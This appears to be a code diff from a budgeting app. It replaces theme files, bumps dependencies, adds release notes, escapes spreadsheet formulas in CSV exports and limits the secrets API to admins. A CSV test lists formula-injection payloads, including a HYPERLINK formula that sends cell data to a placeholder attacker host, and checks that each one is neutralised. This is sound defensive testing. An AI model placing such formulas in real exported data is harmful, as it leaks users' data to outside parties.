||||
|
||||
export const noteTagBackground = colorPalette.purple125;
|
||||
export const noteTagBackgroundHover = colorPalette.purple150;
|
||||
export const noteTagDefault = colorPalette.purple125;
|
||||
export const noteTagText = colorPalette.black;
|
||||
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetOtherMonth = colorPalette.gray50;
|
||||
export const budgetHeaderCurrentMonth = budgetOtherMonth;
|
||||
export const budgetHeaderOtherMonth = colorPalette.gray80;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.purple400;
|
||||
export const floatingActionBarBorder = floatingActionBarBackground;
|
||||
export const floatingActionBarText = colorPalette.navy50;
|
||||
|
||||
export const tooltipText = colorPalette.navy900;
|
||||
export const tooltipBackground = colorPalette.white;
|
||||
export const tooltipBorder = colorPalette.navy150;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy100;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -1,251 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.gray600;
|
||||
export const pageBackgroundModalActive = colorPalette.gray700;
|
||||
export const pageBackgroundTopLeft = colorPalette.gray800;
|
||||
export const pageBackgroundBottomRight = colorPalette.gray700;
|
||||
export const pageBackgroundLineTop = colorPalette.purple300;
|
||||
export const pageBackgroundLineMid = colorPalette.gray900;
|
||||
export const pageBackgroundLineBottom = colorPalette.gray150;
|
||||
export const pageText = colorPalette.gray100;
|
||||
export const pageTextLight = colorPalette.gray200;
|
||||
export const pageTextSubdued = colorPalette.gray400;
|
||||
export const pageTextDark = colorPalette.gray100;
|
||||
export const pageTextPositive = colorPalette.purple200;
|
||||
export const pageTextLink = colorPalette.purple300;
|
||||
export const pageTextLinkLight = colorPalette.purple300;
|
||||
|
||||
export const cardBackground = colorPalette.gray800;
|
||||
export const cardBorder = colorPalette.purple300;
|
||||
export const cardShadow = colorPalette.gray900;
|
||||
|
||||
export const tableBackground = colorPalette.gray800;
|
||||
export const tableRowBackgroundHover = colorPalette.gray500;
|
||||
export const tableText = colorPalette.gray150;
|
||||
export const tableTextLight = tableText;
|
||||
export const tableTextSubdued = colorPalette.gray500;
|
||||
export const tableTextSelected = colorPalette.gray800;
|
||||
export const tableTextHover = colorPalette.gray400;
|
||||
export const tableTextInactive = colorPalette.gray400;
|
||||
export const tableHeaderText = colorPalette.gray200;
|
||||
export const tableHeaderBackground = colorPalette.gray900;
|
||||
export const tableBorder = colorPalette.gray600;
|
||||
export const tableBorderSelected = colorPalette.purple400;
|
||||
export const tableBorderHover = colorPalette.purple300;
|
||||
export const tableBorderSeparator = colorPalette.gray400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.purple150;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.gray800;
|
||||
export const tableRowHeaderBackground = colorPalette.gray700;
|
||||
export const tableRowHeaderText = colorPalette.gray150;
|
||||
|
||||
export const numberPositive = colorPalette.green300;
|
||||
export const numberNegative = colorPalette.red200;
|
||||
export const numberNeutral = colorPalette.gray500;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange200;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.gray900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green400;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemBackgroundHover = colorPalette.gray700;
|
||||
export const sidebarItemText = colorPalette.gray100;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.gray300;
|
||||
|
||||
export const menuBackground = colorPalette.gray700;
|
||||
export const menuItemBackground = colorPalette.gray200;
|
||||
export const menuItemBackgroundHover = colorPalette.gray500;
|
||||
export const menuItemText = colorPalette.gray100;
|
||||
export const menuItemTextHover = colorPalette.gray50;
|
||||
export const menuItemTextSelected = colorPalette.purple400;
|
||||
export const menuItemTextHeader = colorPalette.purple200;
|
||||
export const menuBorder = colorPalette.gray800;
|
||||
export const menuBorderHover = colorPalette.purple300;
|
||||
export const menuKeybindingText = colorPalette.purple200;
|
||||
export const menuAutoCompleteBackground = colorPalette.gray600;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.gray500;
|
||||
export const menuAutoCompleteText = colorPalette.gray100;
|
||||
export const menuAutoCompleteTextHover = colorPalette.green400;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.purple200;
|
||||
export const menuAutoCompleteItemTextHover = colorPalette.gray50;
|
||||
export const menuAutoCompleteItemText = menuItemText;
|
||||
export const modalBackground = colorPalette.gray700;
|
||||
export const modalBorder = colorPalette.gray200;
|
||||
export const mobileHeaderBackground = colorPalette.gray900;
|
||||
export const mobileHeaderText = colorPalette.purple200;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.gray900;
|
||||
export const mobileNavBackground = colorPalette.gray600;
|
||||
export const mobileNavItem = colorPalette.gray150;
|
||||
export const mobileNavItemSelected = colorPalette.purple200;
|
||||
export const mobileAccountShadow = cardShadow;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple300;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple700;
|
||||
export const markdownDark = colorPalette.purple500;
|
||||
export const markdownLight = colorPalette.purple800;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.gray200;
|
||||
export const buttonMenuTextHover = buttonMenuText;
|
||||
export const buttonMenuBackground = colorPalette.gray700;
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.gray500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.gray300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple300;
|
||||
export const buttonPrimaryBackgroundHover = buttonPrimaryBackground;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.gray400;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.gray700;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.gray150;
|
||||
export const buttonNormalTextHover = colorPalette.gray150;
|
||||
export const buttonNormalBackground = colorPalette.gray600;
|
||||
export const buttonNormalBackgroundHover = colorPalette.gray400;
|
||||
export const buttonNormalBorder = colorPalette.gray300;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.purple500;
|
||||
export const buttonNormalDisabledText = colorPalette.gray400;
|
||||
export const buttonNormalDisabledBackground = colorPalette.gray700;
|
||||
export const buttonNormalDisabledBorder = colorPalette.gray500;
|
||||
|
||||
export const calendarText = colorPalette.gray50;
|
||||
export const calendarBackground = colorPalette.gray700;
|
||||
export const calendarItemText = colorPalette.gray150;
|
||||
export const calendarItemBackground = colorPalette.gray500;
|
||||
export const calendarSelectedBackground = buttonNormalSelectedBackground;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
|
||||
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green600;
|
||||
export const noticeBackgroundLight = colorPalette.green900;
|
||||
export const noticeBackgroundDark = colorPalette.green400;
|
||||
export const noticeText = colorPalette.green300;
|
||||
export const noticeTextLight = colorPalette.green400;
|
||||
export const noticeTextDark = colorPalette.green150;
|
||||
export const noticeTextMenu = colorPalette.green400;
|
||||
export const noticeTextMenuHover = colorPalette.green700;
|
||||
export const noticeBorder = colorPalette.green800;
|
||||
export const warningBackground = colorPalette.orange800;
|
||||
export const warningText = colorPalette.orange200;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange100;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red800;
|
||||
export const errorText = colorPalette.red200;
|
||||
export const errorTextDark = colorPalette.red150;
|
||||
export const errorTextDarker = errorTextDark;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple800;
|
||||
export const upcomingText = colorPalette.purple200;
|
||||
export const upcomingBorder = tableBorder;
|
||||
|
||||
export const formLabelText = colorPalette.purple150;
|
||||
export const formLabelBackground = colorPalette.blue900;
|
||||
export const formInputBackground = colorPalette.gray800;
|
||||
export const formInputBackgroundSelected = colorPalette.gray700;
|
||||
export const formInputBackgroundSelection = colorPalette.purple400;
|
||||
export const formInputBorder = colorPalette.gray600;
|
||||
export const formInputTextReadOnlySelection = colorPalette.gray800;
|
||||
export const formInputBorderSelected = colorPalette.purple300;
|
||||
export const formInputText = colorPalette.gray150;
|
||||
export const formInputTextSelected = colorPalette.black;
|
||||
export const formInputTextPlaceholder = colorPalette.gray150;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.gray100;
|
||||
export const formInputTextSelection = colorPalette.gray800;
|
||||
export const formInputShadowSelected = colorPalette.purple400;
|
||||
export const formInputTextHighlight = colorPalette.purple200;
|
||||
export const checkboxText = tableText;
|
||||
export const checkboxBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxBorderSelected = colorPalette.purple300;
|
||||
export const checkboxShadowSelected = colorPalette.purple500;
|
||||
export const checkboxToggleBackground = colorPalette.gray400;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxToggleDisabled = colorPalette.gray700;
|
||||
|
||||
export const pillBackground = colorPalette.gray500;
|
||||
export const pillBackgroundLight = colorPalette.gray900;
|
||||
export const pillText = colorPalette.gray200;
|
||||
export const pillTextHighlighted = colorPalette.purple200;
|
||||
export const pillBorder = colorPalette.gray500;
|
||||
export const pillBorderDark = pillBorder;
|
||||
export const pillBackgroundSelected = colorPalette.purple600;
|
||||
export const pillTextSelected = colorPalette.gray150;
|
||||
export const pillBorderSelected = colorPalette.purple300;
|
||||
export const pillTextSubdued = colorPalette.gray500;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = pageText;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
||||
|
||||
export const noteTagBackground = colorPalette.purple800;
|
||||
export const noteTagBackgroundHover = colorPalette.purple600;
|
||||
export const noteTagDefault = colorPalette.purple700;
|
||||
export const noteTagText = colorPalette.purple100;
|
||||
|
||||
export const budgetOtherMonth = colorPalette.gray700;
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetHeaderOtherMonth = colorPalette.gray800;
|
||||
export const budgetHeaderCurrentMonth = tableHeaderBackground;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.gray900;
|
||||
export const floatingActionBarBorder = colorPalette.purple300;
|
||||
export const floatingActionBarText = colorPalette.purple200;
|
||||
|
||||
export const tooltipText = colorPalette.gray100;
|
||||
export const tooltipBackground = colorPalette.gray800;
|
||||
export const tooltipBorder = colorPalette.gray600;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy900;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -220,7 +220,7 @@
|
||||
"ts-node": "^10.9.2",
|
||||
"util": "^0.12.5",
|
||||
"vite": "^8.0.5",
|
||||
"vite-plugin-node-polyfills": "^0.26.0",
|
||||
"vite-plugin-node-polyfills": "^0.27.0",
|
||||
"vite-plugin-peggy-loader": "^2.0.1",
|
||||
"vitest": "^4.1.2",
|
||||
"yargs": "^18.0.0"
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
import { parse as csvParse } from 'csv-parse/sync';
|
||||
|
||||
import { exportToCSV } from './export-to-csv';
|
||||
|
||||
describe('exportToCSV', () => {
|
||||
const accounts = [{ id: 'a1', name: 'Checking' }];
|
||||
const categoryGroups = [
|
||||
{ name: 'Income', categories: [{ id: 'c1', name: 'Salary' }] },
|
||||
];
|
||||
|
||||
function makeTransaction(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
account: 'a1',
|
||||
date: '2026-01-01',
|
||||
payee: 'p1',
|
||||
notes: '',
|
||||
category: 'c1',
|
||||
amount: 10000,
|
||||
cleared: false,
|
||||
reconciled: false,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
async function payeeCell(payeeName: string, amount = 10000) {
|
||||
const csv = await exportToCSV(
|
||||
[makeTransaction({ amount })],
|
||||
accounts,
|
||||
categoryGroups,
|
||||
[{ id: 'p1', name: payeeName }],
|
||||
);
|
||||
const rows = csvParse(csv, { columns: true }) as Array<
|
||||
Record<string, string>
|
||||
>;
|
||||
return { row: rows[0], csv };
|
||||
}
|
||||
|
||||
it.each([
|
||||
['=HYPERLINK("http://attacker/?d="&B2,"x")'],
|
||||
['=1+1'],
|
||||
['+1+1'],
|
||||
['-2+3'],
|
||||
['@SUM(1+1)'],
|
||||
['\tHELLO'],
|
||||
['\rHELLO'],
|
||||
])('prefixes a payee starting with %j with a single quote', async payload => {
|
||||
const { row } = await payeeCell(payload);
|
||||
expect(row.Payee).toBe("'" + payload);
|
||||
});
|
||||
|
||||
it('does not prefix payees without a leading trigger character', async () => {
|
||||
const { row } = await payeeCell('Acme Corp');
|
||||
expect(row.Payee).toBe('Acme Corp');
|
||||
});
|
||||
|
||||
it('does not prefix negative numeric amounts', async () => {
|
||||
const { row } = await payeeCell('Acme', -2500);
|
||||
expect(row.Amount).toBe('-25');
|
||||
});
|
||||
});
|
||||
@@ -4,6 +4,16 @@ import { stringify as csvStringify } from 'csv-stringify/sync';
|
||||
import { aqlQuery } from '#server/aql';
|
||||
import { integerToAmount } from '#shared/util';
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
const csvStringifyOptions = {
|
||||
header: true,
|
||||
cast: {
|
||||
string: (value: string) =>
|
||||
FORMULA_TRIGGERS.test(value) ? "'" + value : value,
|
||||
},
|
||||
};
|
||||
|
||||
export async function exportToCSV(
|
||||
transactions,
|
||||
accounts,
|
||||
@@ -53,7 +63,7 @@ export async function exportToCSV(
|
||||
}),
|
||||
);
|
||||
|
||||
return csvStringify(transactionsForExport, { header: true });
|
||||
return csvStringify(transactionsForExport, csvStringifyOptions);
|
||||
}
|
||||
|
||||
export async function exportQueryToCSV(query) {
|
||||
@@ -128,5 +138,5 @@ export async function exportQueryToCSV(query) {
|
||||
};
|
||||
});
|
||||
|
||||
return csvStringify(transactionsForExport, { header: true });
|
||||
return csvStringify(transactionsForExport, csvStringifyOptions);
|
||||
}
|
||||
|
||||
@@ -62,7 +62,6 @@ export default defineConfig(({ mode }) => {
|
||||
},
|
||||
plugins: [
|
||||
peggyLoader(),
|
||||
// https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142
|
||||
nodePolyfills({
|
||||
include: [
|
||||
'process',
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import express from 'express';
|
||||
|
||||
import { getAccountDb, isAdmin } from './account-db';
|
||||
import { secretsService } from './services/secrets-service';
|
||||
import { getActiveLoginMethod, isAdmin } from './account-db';
|
||||
import { SecretName, secretsService } from './services/secrets-service';
|
||||
import {
|
||||
requestLoggerMiddleware,
|
||||
validateSessionMiddleware,
|
||||
@@ -14,35 +14,32 @@ app.use(express.json());
|
||||
app.use(requestLoggerMiddleware);
|
||||
app.use(validateSessionMiddleware);
|
||||
|
||||
// In OpenID mode the secrets store is admin-managed; non-admins must be
|
||||
// blocked from both reads and writes, otherwise they can enumerate which
|
||||
// integrations are configured.
|
||||
function canManageSecrets(userId) {
|
||||
return getActiveLoginMethod() !== 'openid' || isAdmin(userId);
|
||||
}
|
||||
|
||||
app.post('/', async (req, res) => {
|
||||
let method;
|
||||
try {
|
||||
const result = getAccountDb().first(
|
||||
'SELECT method FROM auth WHERE active = 1',
|
||||
);
|
||||
method = result?.method;
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch auth method:', error);
|
||||
return res.status(500).send({
|
||||
if (!canManageSecrets(res.locals.user_id)) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'database-error',
|
||||
details: 'Failed to validate authentication method',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const { name, value } = req.body || {};
|
||||
|
||||
if (method === 'openid') {
|
||||
const canSaveSecrets = isAdmin(res.locals.user_id);
|
||||
|
||||
if (!canSaveSecrets) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
|
||||
return;
|
||||
}
|
||||
if (!(name in SecretName)) {
|
||||
res.status(400).send({
|
||||
status: 'error',
|
||||
reason: 'invalid-secret-name',
|
||||
details: 'Unknown secret name',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
secretsService.set(name, value);
|
||||
@@ -51,9 +48,22 @@ app.post('/', async (req, res) => {
|
||||
});
|
||||
|
||||
app.get('/:name', async (req, res) => {
|
||||
if (!canManageSecrets(res.locals.user_id)) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to read secrets',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const name = req.params.name;
|
||||
const keyExists = secretsService.exists(name);
|
||||
if (keyExists) {
|
||||
if (!(name in SecretName)) {
|
||||
res.status(404).send('key not found');
|
||||
return;
|
||||
}
|
||||
|
||||
if (secretsService.exists(name)) {
|
||||
res.sendStatus(204);
|
||||
} else {
|
||||
res.status(404).send('key not found');
|
||||
|
||||
@@ -1,9 +1,19 @@
|
||||
import request from 'supertest';
|
||||
|
||||
import { getAccountDb } from './account-db';
|
||||
import { handlers as app } from './app-secrets';
|
||||
import { secretsService } from './services/secrets-service';
|
||||
import { SecretName, secretsService } from './services/secrets-service';
|
||||
|
||||
const enableOpenIdAuth = () => {
|
||||
const db = getAccountDb();
|
||||
db.mutate('DELETE FROM auth');
|
||||
db.mutate(
|
||||
"INSERT INTO auth (method, active, extra_data, display_name) VALUES ('openid', 1, '', 'OpenID')",
|
||||
);
|
||||
};
|
||||
|
||||
describe('secretsService', () => {
|
||||
const testSecretName = 'testSecret';
|
||||
const testSecretName = SecretName.simplefin_token;
|
||||
const testSecretValue = 'testValue';
|
||||
|
||||
it('should set a secret', () => {
|
||||
@@ -38,6 +48,10 @@ describe('secretsService', () => {
|
||||
});
|
||||
|
||||
describe('secrets api', () => {
|
||||
afterEach(() => {
|
||||
getAccountDb().mutate('DELETE FROM auth');
|
||||
});
|
||||
|
||||
it('returns 401 if the user is not authenticated', async () => {
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
const res = await request(app).get(`/${testSecretName}`);
|
||||
@@ -52,7 +66,15 @@ describe('secretsService', () => {
|
||||
|
||||
it('returns 404 if secret does not exist', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/thiskeydoesnotexist`)
|
||||
.get(`/${SecretName.gocardless_secretKey}`)
|
||||
.set('x-actual-token', 'valid-token');
|
||||
|
||||
expect(res.statusCode).toEqual(404);
|
||||
});
|
||||
|
||||
it('returns 404 for unknown secret names without revealing existence', async () => {
|
||||
const res = await request(app)
|
||||
.get('/thiskeydoesnotexist')
|
||||
.set('x-actual-token', 'valid-token');
|
||||
|
||||
expect(res.statusCode).toEqual(404);
|
||||
@@ -68,7 +90,6 @@ describe('secretsService', () => {
|
||||
});
|
||||
|
||||
it('returns 200 if secret was set', async () => {
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
const res = await request(app)
|
||||
.post(`/`)
|
||||
.set('x-actual-token', 'valid-token')
|
||||
@@ -79,5 +100,71 @@ describe('secretsService', () => {
|
||||
status: 'ok',
|
||||
});
|
||||
});
|
||||
|
||||
it('POST returns 400 for unknown secret names', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token')
|
||||
.send({ name: 'thiskeydoesnotexist', value: 'whatever' });
|
||||
|
||||
expect(res.statusCode).toEqual(400);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'invalid-secret-name',
|
||||
details: 'Unknown secret name',
|
||||
});
|
||||
});
|
||||
|
||||
describe('when OpenID is the active auth method', () => {
|
||||
beforeEach(() => {
|
||||
enableOpenIdAuth();
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
});
|
||||
|
||||
it('GET returns 403 for non-admin users', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/${testSecretName}`)
|
||||
.set('x-actual-token', 'valid-token-user');
|
||||
|
||||
expect(res.statusCode).toEqual(403);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to read secrets',
|
||||
});
|
||||
});
|
||||
|
||||
it('GET returns 204 for admin users when secret exists', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/${testSecretName}`)
|
||||
.set('x-actual-token', 'valid-token-admin');
|
||||
|
||||
expect(res.statusCode).toEqual(204);
|
||||
});
|
||||
|
||||
it('POST returns 403 for non-admin users', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token-user')
|
||||
.send({ name: testSecretName, value: testSecretValue });
|
||||
|
||||
expect(res.statusCode).toEqual(403);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
});
|
||||
|
||||
it('POST returns 200 for admin users', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token-admin')
|
||||
.send({ name: testSecretName, value: 'newValue' });
|
||||
|
||||
expect(res.statusCode).toEqual(200);
|
||||
expect(res.body).toEqual({ status: 'ok' });
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
6
upcoming-release-notes/7832.md
Normal file
6
upcoming-release-notes/7832.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [matt-fidd]
|
||||
---
|
||||
|
||||
Automation UI: various tweaks and fixes
|
||||
6
upcoming-release-notes/7851.md
Normal file
6
upcoming-release-notes/7851.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Convert built-in themes from TypeScript modules to plain CSS files.
|
||||
6
upcoming-release-notes/7856.md
Normal file
6
upcoming-release-notes/7856.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Reference dedicated environments for workflows that consume secrets, satisfying zizmor's `secrets-without-environment` audit.
|
||||
6
upcoming-release-notes/7858.md
Normal file
6
upcoming-release-notes/7858.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Fix template injection in setup action's Lage cache step.
|
||||
6
upcoming-release-notes/7859.md
Normal file
6
upcoming-release-notes/7859.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Bugfixes
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Prevent exported CSV files from being interpreted as spreadsheet formulas when opened in Excel, LibreOffice Calc, or Google Sheets.
|
||||
6
upcoming-release-notes/7860.md
Normal file
6
upcoming-release-notes/7860.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Upgrade `vite-plugin-node-polyfills` to 0.27.0.
|
||||
6
upcoming-release-notes/7862.md
Normal file
6
upcoming-release-notes/7862.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Bugfixes
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Restrict the sync-server secrets API to admins in OpenID mode so non-admin users can no longer enumerate configured bank-sync integrations.
|
||||
22
yarn.lock
22
yarn.lock
@@ -148,7 +148,7 @@ __metadata:
|
||||
util: "npm:^0.12.5"
|
||||
uuid: "npm:^14.0.0"
|
||||
vite: "npm:^8.0.5"
|
||||
vite-plugin-node-polyfills: "npm:^0.26.0"
|
||||
vite-plugin-node-polyfills: "npm:^0.27.0"
|
||||
vite-plugin-peggy-loader: "npm:^2.0.1"
|
||||
vitest: "npm:^4.1.2"
|
||||
xml2js: "npm:^0.6.2"
|
||||
@@ -19650,9 +19650,9 @@ __metadata:
|
||||
linkType: hard
|
||||
|
||||
"lodash-es@npm:^4.17.21":
|
||||
version: 4.17.21
|
||||
resolution: "lodash-es@npm:4.17.21"
|
||||
checksum: 10/03f39878ea1e42b3199bd3f478150ab723f93cc8730ad86fec1f2804f4a07c6e30deaac73cad53a88e9c3db33348bb8ceeb274552390e7a75d7849021c02df43
|
||||
version: 4.18.1
|
||||
resolution: "lodash-es@npm:4.18.1"
|
||||
checksum: 10/8bfad225ef09ef42b04283cdaf7830efcc2ba29ae41b56501c74422155ee1ccaa1f0f6e8319def3451a1fe54dec501c8e4bee622bae2b2d98ac993731e0a5cce
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
@@ -23873,11 +23873,11 @@ __metadata:
|
||||
linkType: hard
|
||||
|
||||
"qs@npm:^6.12.3, qs@npm:^6.14.0, qs@npm:^6.14.1":
|
||||
version: 6.14.1
|
||||
resolution: "qs@npm:6.14.1"
|
||||
version: 6.15.1
|
||||
resolution: "qs@npm:6.15.1"
|
||||
dependencies:
|
||||
side-channel: "npm:^1.1.0"
|
||||
checksum: 10/34b5ab00a910df432d55180ef39c1d1375e550f098b5ec153b41787f1a6a6d7e5f9495593c3b112b77dbc6709d0ae18e55b82847a4c2bbbb0de1e8ccbb1794c5
|
||||
checksum: 10/ec10b9957446b3f4a38000940f6374720b4e2985209b89df197066038c951472ea24cd98d6bc6df73a0cbec75bc056f638032e3fb447345017ff7e0f0a2693ac
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
@@ -28441,15 +28441,15 @@ __metadata:
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
"vite-plugin-node-polyfills@npm:^0.26.0":
|
||||
version: 0.26.0
|
||||
resolution: "vite-plugin-node-polyfills@npm:0.26.0"
|
||||
"vite-plugin-node-polyfills@npm:^0.27.0":
|
||||
version: 0.27.0
|
||||
resolution: "vite-plugin-node-polyfills@npm:0.27.0"
|
||||
dependencies:
|
||||
"@rollup/plugin-inject": "npm:^5.0.5"
|
||||
node-stdlib-browser: "npm:^1.3.1"
|
||||
peerDependencies:
|
||||
